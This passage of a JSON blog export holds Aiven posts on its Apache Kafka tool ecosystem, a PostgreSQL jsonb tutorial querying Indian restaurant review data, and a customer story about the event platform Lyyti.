updates","asset":{"_ref":"image-44515a1d6031717fdd221ab5ad346f88b973b66b-1200x628-png","_type":"reference"}},"metaTitle":"What's new at Aiven: Q4/2023 - Q1/2024"},"slug":{"_type":"slug","current":"/blog/whats-new-at-aiven-q42023-q12024"},"subtitle":"Optimize data infrastructure with the power of AI. Upgrade open source data services and reduce costs with self-service BYOC on AWS.\n","title":"What's new at Aiven: Q4/2023 - Q1/2024"}
{"__i18n_lang":"en","_createdAt":"2022-11-23T06:01:09Z","_id":"a90eb4e8-6d45-4c1b-b767-22d99d8beefc","_rev":"T130WEs22RB6SoEkOBovHa","_type":"post","_updatedAt":"2024-11-19T09:55:28Z","authors":[{"_key":"c2504fb44ee1","_ref":"055b2496-c6da-421a-b3da-8c25cdc90fc0","_type":"reference"}],"body":"## Holistically managing your Apache Kafka® infrastructure\nWith the recent [acquisition of Kafkawise and its renaming to Klaw](https://aiven.io/blog/aiven-welcomes-kafkawize-now-klaw) as well as the launch of [Aiven for Apache Flink](https://aiven.io/flink) earlier in 2022, we are proud to introduce our complete ecosystem of technologies and tools around Apache Kafka®. \n\nOur vision is to offer a truly end-to-end open source based ecosystem of services and tooling deeply integrated with Apache Kafka that can fit the data streaming needs and workloads of any organization. \n\n### An organization’s growth and development with Apache Kafka \nWe constantly see companies taking the first baby steps on their streaming data journey. This journey is a continuous process of development, experimentation and implementation. Companies go through different stages, each with its associated characteristics and needs.  \n\n#### First steps\nWhen companies adopt Apache Kafka, they initially focus on basic necessities — much like babies needing good quality nutrition and sleep to develop their bodies. For companies developing their Apache Kafka infrastructure, these necessities are about getting familiar with the technology and understanding its application for their specific needs and use cases. Companies also research the basic concepts and spin up Apache Kafka clusters just to get things going. \n\nCompanies starting with Apache Kafka will also want to understand how (and where) to spin up clusters, examine their streaming topology, and explore their latency requirements for specific use cases based on existing data volumes, and so on.\n\n#### Growing needs\nWhen Apache Kafka grows in the organization, its capacity also needs to grow larger so it can handle greater amounts of traffic and use cases. An organization might start using Apache Kafka to transport data between environments and databases but as Kafka’s adoption grows, it might need to interact with edge devices, message queues, blob or cloud storage or enable real time processing to ensure data correctness and availability. The more an organization uses Apache Kafka, the more requirements it will have.\n\n\nThe more an organization uses Apache Kafka, the more requirements it will have.\n\n#### Leaving the nest\nOnce a child reaches a certain age, they start moving outside their family home and become part of a wider team, like a nursery or a school. They start learning how to interact and behave in society. \n\nFor companies, this is the third stage of Apache Kafka adoption that brings additional needs for tooling and software. Apache Kafka becomes the backbone of data transportation around the organization. As more and more use cases emerge, more schemas will be created and existing schemas evolve over time. New topics and partitions will be created to highlight the different types of events multiple teams will want to have access to. At the same time, new use cases will be enabled such as real time data pipelines or event driven applications. \n\nCompanies need to properly manage and track how the topics and schema change and evolve in their Apache Kafka environment to ensure that Apache Kafka applications are not impacted by schema and topology changes and updates. \n\nLast, as the company’s usage of Kafka grows further, it needs to establish a governance structure and a mechanism to ensure that Apache Kafka meets the specific standards and rules that apply. This lets the technology to start supporting mission-critical applications in a secure, compliant way. \n\nBy offering a full open source streaming ecosystem for Apache Kafka, we want to support organizations in each and every stage of their Apache Kafka journey. We want to walk the whole journey with them and become their trusted partner. From seamlessly setting up clusters to testing or running Apache Kafka services, all the way to building an end-to-end platform service team around Apache Kafka, Aiven’s ecosystem will be there.\n\n\n### A streaming ecosystem to support your growth\n\nLet us take a look at the tools and services in our open source ecosystem in more detail.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/60de3745dec681fdafe6a6d1df158c3beb8534da-3336x2374.png)\n\n\n#### Aiven for Apache Kafka\n[Aiven for Apache Kafka](https://aiven.io/kafka) is the core event streaming framework that allows the transportation of data streams in an organization. \n\nTypically customers starting with data streaming will want to focus on Apache Kafka itself: getting it up and running and ensuring they have enough knowledge and training to get it off the ground. \n\nWith Aiven for Apache Kafka, you can seamlessly manage, operate and transport real time data in one place. You can also integrate with other Aiven services, and migrate clusters from other cloud regions and external systems.\n\n::banner[Apache Kafka as a fully managed service, with zero vendor lock-in and a full set of capabilities to build your streaming pipeline.]{ctaText=\"Try our open source service!\" ctaLink=\"https://aiven.io/kafka\" title=\"Aiven for Apache Kafka®\" background=\"https://cdn.sanity.io/images/sczeoy4w/production/184cb33e057478405636d30b72f56c94f88ca103-64x64.svg\"}\n\n#### Aiven for Apache Kafka Connect\n[Aiven for Apache Kafka Connect](https://aiven.io/kafka-connect) enters the picture with additional systems. The more you use Apache Kafka, the more likely it will be that managing your own configurations for connecting to external systems will become a chore of its own. This is where Kafka Connect and a fully managed, distributed service like the one from Aiven really come into their own. \n\nApache Kafka Connect enables customers to integrate existing data sources and sinks seamlessly in a scalable way, without having to manage separate connectors.\n\nAn example here would be using the Debezium source connector to extract  committed changes to transaction logs in a relational database, such as PostgreSQL, and push them to a Kafka topic in a standard format so it can be easily read by multiple consumers.\n\n\n#### Aiven for Apache Kafka MirrorMaker2\n[Aiven for Apache Kafka MirrorMaker2](https://aiven.io/docs/products/kafka/kafka-mirrormaker.html) is great for data replication needs. With it, you can run hybrid workloads, meaning you can maintain clusters in your own data centers, while moving other services and clusters to the cloud for better scalability. Or you can implement a true multi-cloud strategy, where different or identical clusters reside in multiple cloud regions and/or cloud environments.\n\nIn Aiven for Apache Kafka MirrorMaker2, you get a fully managed, fully open source distributed data replication service for Apache Kafka. It enables cluster to cluster data replication, disaster recovery and geographic proximity across regions or clouds.\n\n\n#### Karapace\n[Karapace](https://www.karapace.io/) provides a fully open source Kafka Schema Registry. Applications can access it to serialize and deserialize messages with popular formats such as AVRO, Protobuf and JSON. \n\nThis enables you to centrally manage the schema and metadata of your applications across the various components and services of any event driven architecture. \n\n\n#### Aiven for Apache Flink\n[Aiven for Apache Flink](https://aiven.io/flink) adds the ability to process  data in real time. Using a streaming SQL engine based on Apache Flink, you can extract, transform and analyze  data coming into Apache Kafka before pushing it to external services or systems.\n\nApache Flink allows you to move away from batch processing and start parallelizing tasks to be concurrently executed in a cluster. It can for example deliver data from Apache Kafka to monitoring systems or transform it before it goes into long term storage.\n\n::banner[A fully managed service for Apache Flink for all your real time ETL and streaming analytics use cases.]{ctaText=\"Start your free trial\" ctaLink=\"https://aiven.io/flink\" title=\"Aiven for Apache Flink®\" background=\"https://cdn.sanity.io/images/sczeoy4w/production/c96d109662fa0afd283a3ce7fbd1af8a8005f682-64x64.svg\"}\n\n#### Klaw\n[Klaw](https://www.klaw-project.io/) can help when your Apache Kafka infrastructure grows too complex to manage comfortably without an interim layer. With Klaw, you can manage your topics and ensure that the right teams can access the right data in Apache Kafka.\n\nIn the early stages, you might use spreadsheets or an e-mail based request/approval system. This is fine when the teams interacting with Apache Kafka are relatively small. As the organization grows, however, these one-off processes will probably become a bottleneck for successfully managing and operating Apache Kafka at larger scale. \n\nEnter Klaw: an open source data governance tool that helps enterprises exercise Apache Kafka® topic and schema governance, complete with automated processes and approval flows across DevOps teams and Data engineering teams. \n\n### When open source really makes a difference\nAiven is a firm believer that [open source delivers the best technology to the industry](https://aiven.io/blog/why-you-should-love-open-source-databases). We are very committed to sustaining open source and want to keep playing a key part in driving open source technologies forward. \n\nIn line with our open source roots and values, we want Apache Kafka engineers and developers to feel empowered by the solutions they use. They need to know that there is an active community to support them throughout their Apache Kafka journey - whether that’s with Aiven or not. \n\nThat’s why all the components of Aiven’s ecosystem around Apache Kafka are open source based. We want to ensure that the codebase of these technologies is maintained and supported by inclusive communities with an in-depth understanding of what developers need from the tools and services they use.\n\n## An invitation to explore Aiven’s ecosystem for Apache Kafka\nInterested in finding out more about how the different technologies and tools of Aiven’s ecosystem for Apache Kafka can work together? Here’s a list of resources to get you started: \n\n- [Event streaming with Apache Kafka](https://aiven.io/blog/what-is-apache-kafka)\n- [An event driven architecture with Aiven](https://aiven.io/solutions/aiven-for-event-driven-architecture)\n- [Managed Apache Kafka](https://aiven.io/kafka) from Aiven\n\n::banner[Book an Aiven expert for a chat and find out if event streaming with Apache Kafka® is what you need.]{ctaText=\"Book a demo now\" ctaLink=\"https://aiven.io/book-demo\" title=\"Take the first step today\" background=\"\" theme=\"light\"}\n\n\n\n\n\u003c!-- copypasta:\n\n®\n™\n\ntoc format:\n\n- [First part](#first-part)\n- [Second part](#second-part)\n- [Wrapping up](#wrapping-up)\n\nimage links: ![image](image URL)\n\n[Back to top](/blog/slug-line/#toc)\n\n\n## First part\n\n## Second part\n\n## Wrapping up\n\n## Next steps\nYour next step could be to check out ....\n\n--\u003e\n\nAre you still looking for a managed data platform? [Sign up for a free trial](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\n\n\n## Further reading\n\n- [Introduction to event-based programming](https://aiven.io/blog/introduction-to-event-based-programming)","categories":[{"_key":"cbc38a29d8d9","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"a3f6e00ee6d2","_ref":"0cdf6922-1dca-475f-b8ec-584368c1ddb0","_type":"reference"},{"_key":"863877f38ac4","_ref":"1wgqjrglPyMfEWcMYN3YcQ","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","asset":{"_ref":"image-4230388f13ae18f45a02d66f98dac54dd8883d92-1567x844-png","_type":"reference"}},"publishedAt":"2022-12-07T13:00:00.000Z","related":[{"_key":"856d3f8a3b9c","_ref":"4JR1zZoQLeuUT8AxByqegc","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"To take data streaming to the next level, discover the complete open source ecosystem built around Apache Kafka®. Find out more in the Aiven blog!","metaTitle":"Beyond event streaming: Aiven’s ecosystem for Apache Kafka®"},"slug":{"_type":"slug","current":"/blog/beyond-event-streaming-with-apache-kafka"},"subtitle":"When making Apache Kafka the backbone of your data infra, get an end-to-end solution. Find out more about Aiven’s open source ecosystem around Apache Kafka®.","title":"Beyond event streaming: a complete open source ecosystem for Apache Kafka®"}
{"__i18n_lang":"en","_createdAt":"2022-10-31T16:40:51Z","_id":"b6bc3863-f2aa-4514-8526-572ac327ccfe","_rev":"h4ancfFTuSnQNBSq3ImbjA","_type":"post","_updatedAt":"2024-11-19T08:41:57Z","authors":[{"_key":"85edcca9d520","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"}],"body":"## Analyse Indian restaurant reviews using PostgreSQL® JSON functions\n\nThe original idea behind relational databases was \"structure, then data\": you needed to define what the data looked like before being able to insert any content. This strict data structure definition helped keeping datasets in order by verifying data types, referential integrity, and additional business conditions using dedicated constraints.\n\nBut sometimes life can't be predicted, and data can take different shapes. To enable some sort of flexibility, modern databases like PostgreSQL® started adding semistructured column options JSON, where only a formal check on the shape of the data is done.\n\nPostgreSQL actually offers two options in this space, [`json` and `jsonb`](https://www.postgresql.org/docs/current/datatype-json.html). The first one validates that the content is in JSON format and stores it as string, the second is a binary representation optimised for faster processing and better indexing. You can read more on [Stack Overflow](https://stackoverflow.com/questions/22654170/explanation-of-jsonb-introduced-by-postgresql).\n\nThis blog post goes into detail about a few jsonb functions (with the json version being really similar without the `b` ending), by using a dataset containing restaurant information. Therefore, if you, like me, are always willing to discover new cuisines, take out your chef-investigator hat (a mix of Gordon Ramsay's and Sherlock Holmes's hat) and join me in the search for a good restaurant in our imaginary trip to India!\n\n## Deploy a PostgreSQL® instance\n\nLet's start with the basics: we need a database with some sort of parsing capabilities for JSON data. PostgreSQL is perfect for that, and you can either use your own or create an instance in Aiven via the [CLI](https://aiven.io/docs/tools/cli.html):\n\n```bash\navn service create demo-pg \\\n    --service-type pg      \\\n    --plan hobbyist        \\\n    --cloud google-europe-west3\n```\n\nThe above creates an Aiven for PostgreSQL (`--service-type pg`) service called `demo-pg` , with the bare minimum `hobbyist` plan in the `google-europe-west3` cloud region which is in Frankfurt, Germany. The service takes a couple of minutes to be ready; you can monitor that with the `avn service wait` command.\n\n## Get the restaurant data in PostgreSQL\n\nAny research starts with a dataset, and this is no different! There's a nice [Zomato restaurants dataset available in Kaggle](https://www.kaggle.com/datasets/shrutimehta/zomato-restaurants-data) that can serve our purposes containing restaurant information for a lot of cities around the world.\n\n\nAll we need to download it is a [valid Kaggle login](https://www.kaggle.com/account/login?phase=startRegisterTab\u0026returnUrl=%2F). Once downloaded, we can unzip the archive file, and we'll get a folder containing 5 files (`file1.json` to `file5.json`). We can load them into our PostgreSQL service using the Aiven CLI, which will get the connection string and use the `psql` client:\n\n```bash\navn service cli demo-pg\n```\n\nCreate a `rest_reviews` table containing a unique column called `reviews_data` of jsonb type\n\n```sql\ncreate table rest_reviews (reviews_data JSONB);\n```\n\nAnd then load the files with:\n\n```sql\n\\copy rest_reviews from program 'sed -e ''s/\\\\/\\\\\\\\/g'' file1.json';\n\\copy rest_reviews from program 'sed -e ''s/\\\\/\\\\\\\\/g'' file2.json';\n\\copy rest_reviews from program 'sed -e ''s/\\\\/\\\\\\\\/g'' file3.json';\n\\copy rest_reviews from program 'sed -e ''s/\\\\/\\\\\\\\/g'' file4.json';\n\\copy rest_reviews from program 'sed -e ''s/\\\\/\\\\\\\\/g'' file5.json';\n```\n\nWe are using `sed -e ''s/\\\\/\\\\\\\\/g'' fileX.json` to properly escape any `\\` characters, which are a problem in the `\\copy` command (kudos to [StackOverflow](https://stackoverflow.com/questions/43855930/postgresql-json-to-columns-error-character-with-value-must-be-escaped) for the answer).\n \n These files we just uploaded are nested JSON documents containing the Zomato API responses in an array like:\n\n```json\n[\n    {\n        \"results_found\": 17151,\n        \"restaurants\": [\n            {\"restaurant\": {\"name\":\"Hauz Khas Social\",...}},\n            {\"restaurant\": {\"name\":\"Qubitos - The Terrace Cafe\",...}},\n            ...\n    },\n    {\n        \"results_found\": 100,\n        \"restaurants\": [\n            {\"restaurant\": {\"name\":\"Spezia Bistro\",...}},\n            {\"restaurant\": {\"name\":\"Manhattan Brewery \u0026 Bar Exchange\",...}},\n            ...\n    },\n    ...\n    {\"message\": \"API limit exceeded\", \"code\": 440, \"status\": \"\"}\n    {\"message\": \"API limit exceeded\", \"code\": 440, \"status\": \"\"}\n]\n```\n\n## Extract the list of restaurants with `jsonb_array_elements`\n\nTo access the list of restaurants (in the `restaurants` field) we need to:\n\n* Parse the outer array containing the list of API responses\n* Parse the array of the `restaurants` JSON item (this also removes the `API limit exceeded` errors)\n\nWe can do that with the following SQL query:\n\n```sql\nselect restaurant -\u003e 'restaurant' -\u003e\u003e 'name' restaurant_name\nfrom rest_reviews\n    cross join lateral jsonb_array_elements(reviews_data) dt\n    cross join lateral jsonb_array_elements(dt -\u003e 'restaurants') restaurant\nlimit 10;\n```\n\nIn the above:\n\n* We use the `jsonb_array_elements` function to parse the jsonb array. \n* `jsonb_array_elements(reviews_data) dt` gives us `dt`, which is the outer array of API responses\n* `-\u003e` retrieves a jsonb subitem. So\n\n    * `jsonb_array_elements(dt -\u003e 'restaurants') restaurant` gives us `restaurant`, which is the array contained in the  `restaurants` field.\n    * and `restaurant -\u003e 'restaurants'` gives us the `restaurant` jsonb values from that array of restaurants.\n\n* Like `-\u003e`, `-\u003e\u003e` retrieves the jsonb subitem but this time as text. So `'restaurant' -\u003e\u003e 'name'` retrieves the field `name` from the restaurant jsonb, as text.\n\n\nWhen executing the above query we can see the data being parsed correctly\n\n```\n         restaurant_name\n----------------------------------\nHauz Khas Social\nQubitos - The Terrace Cafe\nThe Hudson Cafe\nSummer House Cafe\n38 Barracks\nSpezia Bistro\nManhattan Brewery \u0026 Bar Exchange\nThe Wine Company\nFarzi Cafe\nIndian Grill Room\n(10 rows)\n```\n\nIt would be nice to create a table having a row per restaurant, we can do that using a similar query.\nNote: This step could do more and parse more columns, it's just an example of what's achievable.\n\n```sql\ncreate table restaurant_data as\nselect\n    (restaurant -\u003e 'restaurant' -\u003e\u003e 'id')::int id,\n    restaurant -\u003e 'restaurant' jsonb_data\nfrom rest_reviews\n    cross join lateral  jsonb_array_elements(reviews_data) dt\n    cross join lateral jsonb_array_elements(dt -\u003e 'restaurants') restaurant;\n```\n\nWe now have a table called `restaurant_data` with an integer field `id` and a jsonb field `jsonb_data` that we can use for further analysis.\n\n## Dive deep into the restaurants data\n\nNow we can start with our research. First let's explore some fields. Apart from the `id` and `name`, there's a nice `location` JSON subitem where we can find the restaurant `city` amongst other information.\n\n```sql\nselect\n    jsonb_data -\u003e\u003e 'id' id,\n    jsonb_data -\u003e\u003e 'name' name,\n    jsonb_data -\u003e 'location' -\u003e\u003e 'city' city\nfrom restaurant_data limit 5;\n```\n\nIn the above, check again the usage of `-\u003e` to extract the jsonb subitem versus `-\u003e\u003e` to extract the same as text. The results are the following:\n\n\n```\n   id    |            name            |   city\n---------+----------------------------+-----------\n308322   | Hauz Khas Social           | New Delhi\n18037817 | Qubitos - The Terrace Cafe | New Delhi\n312345   | The Hudson Cafe            | New Delhi\n307490   | Summer House Cafe          | New Delhi\n18241537 | 38 Barracks                | New Delhi\n(5 rows)\n\n```\n\n### What are the top prices in India? Filter data using `@\u003e`\n\nLet's talk money! What are the most expensive restaurants based on `average_cost_for_two` in `Rs.`, (Indian Rupies) the local currency in India?\n\n```sql\nselect\n    jsonb_data -\u003e\u003e 'id' id,\n    jsonb_data -\u003e\u003e 'name' name,\n    (jsonb_data -\u003e\u003e 'average_cost_for_two')::int average_cost_for_two\nfrom restaurant_data\nwhere jsonb_data @\u003e '{\"currency\": \"Rs.\"}'\norder by 3 desc\nlimit 5;\n```\n\nWe use `int` again to say the price is an integer, and the `@\u003e` operator to check that the `jsonb_data` JSON document contains `{\"currency\": \"Rs.\"}`. An alternative would be to extract the `currency` subitem and filter with `jsonb_data -\u003e\u003e 'currency' = 'Rs.'`. The following are the results:\n\n\n```\n  id    |                         name                         | average_cost_for_two\n--------+------------------------------------------------------+----------------------\n3400072 | Dawat-e-Nawab - Radisson Blu                         |                 3600\n2300187 | Waterside - The Landmark Hotel                       |                 3000\n3400059 | Peshawri - ITC Mughal                                |                 2500\n102216  | Chao Chinese Bistro - Holiday Inn Jaipur City Centre |                 2500\n3400060 | Taj Bano - ITC Mughal                                |                 2500\n(5 rows)\n```\n\n### Check the rating with `with_bucket`\n\nOk, the above query gave me an idea of the cost, what about the quality? Let's explore the `user_rating` item and create a histogram with:\n\n```sql\nwith agg_bucket as (\n    select\n        width_bucket((jsonb_data -\u003e 'user_rating' -\u003e\u003e 'aggregate_rating')::numeric, 0, 5, 10) bucket,\n        count(*) nr_restaurants\n    from restaurant_data\n    where jsonb_data @\u003e '{\"currency\": \"Rs.\"}'\n    group by width_bucket((jsonb_data -\u003e 'user_rating' -\u003e\u003e 'aggregate_rating')::numeric, 0, 5, 10)\n    )\nselect bucket,\n    numrange(bucket*0.5 -0.5, bucket*0.5) range,\n    nr_restaurants\nfrom agg_bucket\norder by 1;\n```\n\nThe above query uses the `with_bucket` function to assign the `user_rating` value to one of 10 buckets, each covering `0.5` in ratings (e.g. 0-0.5, 0.5-1) etc. The result below shows that we can safely filter for `rating \u003e= 4` and still retain a good choice of restaurants.\n\n\n```\nbucket |   range   | nr_restaurants\n-------+-----------+----------------\n     5 | [2.0,2.5) |              2\n     6 | [2.5,3.0) |              1\n     7 | [3.0,3.5) |             88\n     8 | [3.5,4.0) |            266\n     9 | [4.0,4.5) |            287\n    10 | [4.5,5.0) |             76\n(6 rows)\n```\n\n### What's the best affordable restaurant?\n\nShould we try to minimise the spend? Let's search if there is any restaurant with a `rating` greater or equal than 4 and an `average_cost_for_two` less than 1000 Indian Rupees. Again, we are casting both `aggregate_rating` and `average_cost_for_two` to integers before applying the filter.\n\n```sql\nselect\n    jsonb_data -\u003e\u003e 'id' id,\n    jsonb_data -\u003e\u003e 'name' name,\n    (jsonb_data -\u003e\u003e 'average_cost_for_two')::int average_cost_for_two,\n    (jsonb_data -\u003e 'user_rating' -\u003e\u003e 'aggregate_rating')::numeric aggregate_rating\nfrom restaurant_data\nwhere jsonb_data -\u003e\u003e 'currency' = 'Rs.'\nand (jsonb_data -\u003e\u003e 'average_cost_for_two')::int \u003c 1000\nand (jsonb_data -\u003e 'user_rating' -\u003e\u003e 'aggregate_rating')::numeric \u003e= 4\norder by 4 desc, 3 asc\nlimit 5;\n```\n\nThis shows quite a good selection of not too expensive but still good restaurants!\n\n```\n  id    |           name            | average_cost_for_two | aggregate_rating\n--------+---------------------------+----------------------+------------------\n3400346 | Sheroes Hangout           |                    0 |              4.9\n2600109 | Sagar Gaire Fast Food     |                  250 |              4.9\n800468  | Grandson of Tunday Kababi |                  300 |              4.9\n3001321 | CakeBee                   |                  350 |              4.9\n96776   | Conçu                     |                  600 |              4.8\n(5 rows)\n```\n\n### A deep dive into the events array, with `jsonb_array_length` and `jsonb_array_elements`\n\nLet's refine our research, are any of the resulting restaurants doing events? Checking events done in the past might give us some more insights on what the restaurant can offer. Since the item `zomato_events` contains an array of events, we can check for restaurants with at least 2 entries in that array, so we can get a sense of what's available.\n\n```sql\nselect\n    jsonb_data -\u003e\u003e 'id' id,\n    jsonb_data -\u003e\u003e 'name' name,\n    (jsonb_data -\u003e\u003e 'average_cost_for_two')::int average_cost_for_two,\n    (jsonb_data -\u003e 'user_rating' -\u003e\u003e 'aggregate_rating')::numeric aggregate_rating,\n    jsonb_array_length(jsonb_data -\u003e 'zomato_events') nr_events\nfrom restaurant_data\nwhere jsonb_data -\u003e\u003e 'currency' = 'Rs.'\nand (jsonb_data -\u003e\u003e 'average_cost_for_two')::int \u003c 1000\nand (jsonb_data -\u003e 'user_rating' -\u003e\u003e 'aggregate_rating')::numeric \u003e= 4\nand jsonb_array_length(jsonb_data -\u003e 'zomato_events') \u003e 1\norder by 5 desc, 4 desc, 3 asc\nlimit 5;\n```\n\nTo filter on `zomato_events`, we're using the `jsonb_array_length` function, which returns the number of items in a specific jsonb array. Interestingly we only get 3 rows.\n\n```\n   id    |      name      | average_cost_for_two | aggregate_rating | nr_events\n---------+----------------+----------------------+------------------+-----------\n103019   | Mutual's       |                  650 |              4.2 |         3\n113537   | Puffizza       |                  700 |              4.3 |         2\n18413814 | Aangan Horizon |                  900 |              4.0 |         2\n(3 rows)\n```\n\nNow that we have that list of three restaurants, let's have a look at what events they created to make our final decision\n\n```sql\nselect\n    jsonb_data -\u003e\u003e 'id' id,\n    jsonb_data -\u003e\u003e 'name' name,\n    (jsonb_data -\u003e\u003e 'average_cost_for_two')::int average_cost_for_two,\n    (jsonb_data -\u003e 'user_rating' -\u003e\u003e 'aggregate_rating')::numeric aggregate_rating,\n    events -\u003e 'event' -\u003e\u003e 'title' event_title\nfrom restaurant_data\ncross join lateral  jsonb_array_elements(jsonb_data -\u003e 'zomato_events') events\nwhere jsonb_data -\u003e\u003e 'currency' = 'Rs.'\nand (jsonb_data -\u003e\u003e 'average_cost_for_two')::int \u003c 1000\nand (jsonb_data -\u003e 'user_rating' -\u003e\u003e 'aggregate_rating')::numeric \u003e= 4\nand jsonb_array_length(jsonb_data -\u003e 'zomato_events') \u003e 1\norder by 1,2,5\nlimit 5;\n```\n\nWow, `#FlauntYourPizza Contest` seems interesting (and possibly very dangerous :D)!\n\n```\n  id   |   name   | average_cost_for_two | aggregate_rating |            event_title\n-------+----------+----------------------+------------------+-----------------------------------\n103019 | Mutual's |                  650 |              4.2 | ABHI SOLANKI LIVE\n103019 | Mutual's |                  650 |              4.2 | FREEBIRDS\n103019 | Mutual's |                  650 |              4.2 | IPL SPECIAL OFF\n113537 | Puffizza |                  700 |              4.3 | Dim Light Dinner (Every Thursday)\n113537 | Puffizza |                  700 |              4.3 | #FlauntYourPizza Contest\n(5 rows)\n```\n\nLooks like we found our restaurant! Now it's time to go there, check the menu, and eat!\n\n## Conclusion\n\n\"Relational databases are too rigid\", how many times did we hear that? It turns out they can also perform really well with semi structured data like JSON, and PostgreSQL in particular has a deep set of functions for manipulating JSON objects. So, next time you have a JSON dataset, maybe [give PostgreSQL a try](https://aiven.io/postgresql)?\n\nSome more resources that you might find useful:\n* [PostgreSQL JSON functions](https://www.postgresql.org/docs/current/functions-json.html)\n* [Json vs jsonb, what are the differences?](https://www.postgresql.org/docs/current/datatype-json.html)\n* [Get started with Aiven for PostgreSQL](https://aiven.io/postgresql)\n\n## Further reading\n\n- [Remote read replicas - the what, why, and how](https://aiven.io/blog/postgresql-remote-read-replica)\n\n- [(Postgre)SQL concepts and terms](https://aiven.io/blog/postgresql-concepts-and-terms)\n\n- [The pursuit of happiness with Python and PostgreSQL®](https://aiven.io/blog/the-pursuit-of-happiness-with-python-and-postgresql)\n\n","categories":[{"_key":"af590775e2fd","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"},{"_key":"b5eb1b6d7d03","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","asset":{"_ref":"image-07c9d7e35b005dae4b72cfe28f0dd7ebfd332e3f-2500x1308-png","_type":"reference"}},"publishedAt":"2022-11-08T10:15:36.268Z","related":[{"_key":"1b7287af11f9","_ref":"23ABpyOMonRUmxvigZqf7F","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Curious about how implementing PostgreSQL® JSON functions allow your SQL queries to work with json and jsonb data? Find out in the Aiven blog!","metaTitle":"Using PostgreSQL® JSON functions to navigate reviews"},"slug":{"_type":"slug","current":"/blog/pg-json-indian-restaurants"},"subtitle":"Parsing semi-structured dataset in a relational database seems scary. Read on for how PostgreSQL® JSON functions allow your SQL queries to work with json and jsonb data.\n","title":"Using PostgreSQL® JSON functions to navigate reviews of restaurants in India"}
{"__i18n_lang":"en","_createdAt":"2022-11-28T09:12:53Z","_id":"dc8dcde0-6d8b-49e2-8819-b6203fcf45a0","_rev":"h4ancfFTuSnQNBSq3JI01c","_type":"post","_updatedAt":"2024-11-19T11:42:32Z","authors":[{"_key":"70cd50d41014","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"We have this perception of events—like seminars, conferences or workshops—as being unique and singular. We plan, we prepare, the event happens, and then we have a retro session--and maybe we learn some lessons for next time. And we think that’s good enough.\n\nBut Lyyti wants to do more.\n\n“Event management has historically been less focused on utilizing data and systematically developing the business,” says Lauri Lehtinen, CTO of Lyyti. “If we think back to the way marketing budgets were drawn up 20 years ago, the business was unquantifiable; no one could measure the impact of a particular marketing investment. Then we got modern tools and marketing automation, and suddenly marketing is one of the most easily measurable parts of B2B. We want the same thing to happen in event management.”\n\nLyyti offers an event management suite that makes it easy for event planners to create online, on-site and hybrid events. They offer the usual building blocks like registration management, communication tools, and event platform connectors. However, they also provide a measurement suite and integrations with analysis and marketing tools. Customers can use them to analyze their attendance numbers and start to spot trends and correlations.\n\n“We believe that event management is moving into a more data-driven mode. Giving event managers access to data and tools can speed up this transformation, and bring the measurement and development of events to a whole new level,” Lauri says. “We’re only just starting down this path.”\n\n## The tech behind the magic\nMore than 80,000 events are organized through Lyyti every year, and they have over 20 _million_ users. That’s a lot of data, and Lyyti needs a robust framework to deal with it.\n\nLyyti’s tech stack is currently a combination of older legacy systems and a new system still being built on top of [Aiven for PostgreSQL®](https://aiven.io/postgresql). They use PHP and [Laravel](https://aiven.io/blog/add-aiven-database-magic-to-your-laravel-project) at the backend, and manage the whole setup with Terraform and Ansible® - “Infrastructure-as-code, to put it in a modern way,” Lauri smiles. “The solution is GCP-based and containerized, and orchestrated with Cloud Run to avoid the complexity of Kubernetes.”\n\nLyyti wanted to avoid being fully dependent on GCP, however. There were many reasons, some of them to do with potential GDPR compliance issues, some of them more high-level concerns about putting all of one’s eggs in a single basket. That’s why they went looking for a third-party service provider. They wanted one who could, in a pinch, enable the transfer of data from one cloud to another. And they found Aiven, which also came with a pleasant surprise.\n\n“Our current system happens to run on UpCloud,” Lauri says, “and Aiven offers plans for UpCloud. It was really quite funny - you’ve got the global hyperscalers, and then you’ve got the Finnish UpCloud right there with them.”\n\nHaving a managed data infrastructure is important for Lyyti because they wanted to avoid complicated and demanding maintenance tasks. “Especially when you start scaling up to larger user volumes, database maintenance is a big chunk of overall system maintenance. Aiven offers us options that would be practically impossible for us to build ourselves, and at the same time keeps our infrastructure functional. We don’t need to worry about resourcing talent for every detailed need, like setting up databases in a safe and scalable fashion.”\n\n## Building up to data-driven success\nNow that their new concept of event success management is gaining traction, Lyyti’s next step is to boost their data insights capabilities. They want to give event management the prominence it deserves in the marketing mix, and that requires offering analysis and forecasting tools to their customers. The customer will be able to gauge the impact of the events they organize, and identify the variables that affect it.\n\n“For example, think about creating an event and sending out invitations for an accountancy seminar,” Lauri says. “You can do that in the Lyyti system today, it’s not technically that challenging. But imagine if you had a system that could tell you right away that accountants and other financial staff typically attend meetings around the 20th of each month, but never around the turn of the month. And imagine if your system could tell you when to send out the invitations at a time when they are most likely to be opened and read.” \n\n## On a Finnish footing\n“One thing I’ve been musing on is the Finnish connection between Aiven, UpCloud and Lyyti,” says Lauri. “It’s great as a SaaS provider to be able to pick and choose technology whose roots are in our native country. Finns haven’t been awesome at too many things, but a really significant portion of internet backend technologies originate here. Finland has created many of the building blocks of the modern internet, from Linux and MySQL all the way to messaging systems inspired by 80s IRC. It’s great to be able to build Lyyti’s cool things on top of Finnish foundations, Aiven included.”\n\n\n\n\n\n\u003c!-- copypasta:\n\n®\n™\n– en-dash\n— em-dash\n\ntoc format:\n\n- [First part](#first-part)\n- [Second part](#second-part)\n- [Wrapping up](#wrapping-up)\n\nimage links: ![image](image URL)\n\n[Back to top](/blog/slug-line/#toc)\n\n\n## First part\n\n## Second part\n\n## Wrapping 